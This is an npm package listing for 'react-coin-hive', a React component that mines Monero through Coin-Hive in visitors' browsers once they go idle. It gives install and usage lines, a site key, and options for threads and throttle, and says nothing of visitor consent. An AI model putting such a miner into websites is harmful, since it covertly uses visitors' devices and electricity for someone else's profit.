rch

react-coin-hive

Mine cryptocurrency while your users haven't engaged with your content lately

Showing:

Popularity

Downloads/wk

6

GitHub Stars

153

Maintenance

Last Commit

4yrs ago

Contributors

3

Package

Dependencies

2

Size (min+gzip)

1.8KB

License

MIT

Type Definitions

Tree-Shakeable

Yes?

Categories

Readme

React Coin-Hive

Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.

This uses Coin-Hive to mine Monero (XMR).

Installation

npm install --save react-coin-hive

Usage

// Anywhere in your app as long as it gets mounted
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>

Props

  • siteKey: Your Coin-Hive Site Key.

  • timeout: How long before considering that the user is idle in milliseconds. Default is 30000.

  • userName: If used, the miner will be created with CoinHive.User(siteKey, userName). By default the miner is created with CoinHive.Anonymous(siteKey).

  • threads: The number of threads the miner should start with. Default is 2.

  • throttle: The fraction of time that threads should be idle. Default is 0.

  • onInit: A function that takes the miner instance as argument. It's called when the miner is created.

  • onStart: A function that takes the miner instance as argument. It's called every time the miner is started.

  • onStop: A function that takes the miner instance as argument. It's called every time the miner is stopped.

Disclaimer

I have nothing to do with coin-hive.com

Rate & Review

Great Documentation0
Easy to Use0
Performant0
Highly Customizable0
Bleeding Edge0
Responsive Maintainers0
Poor Documentation0
Hard to Use0
Slow0
Buggy0
Abandoned0
Unwelcoming Community0
100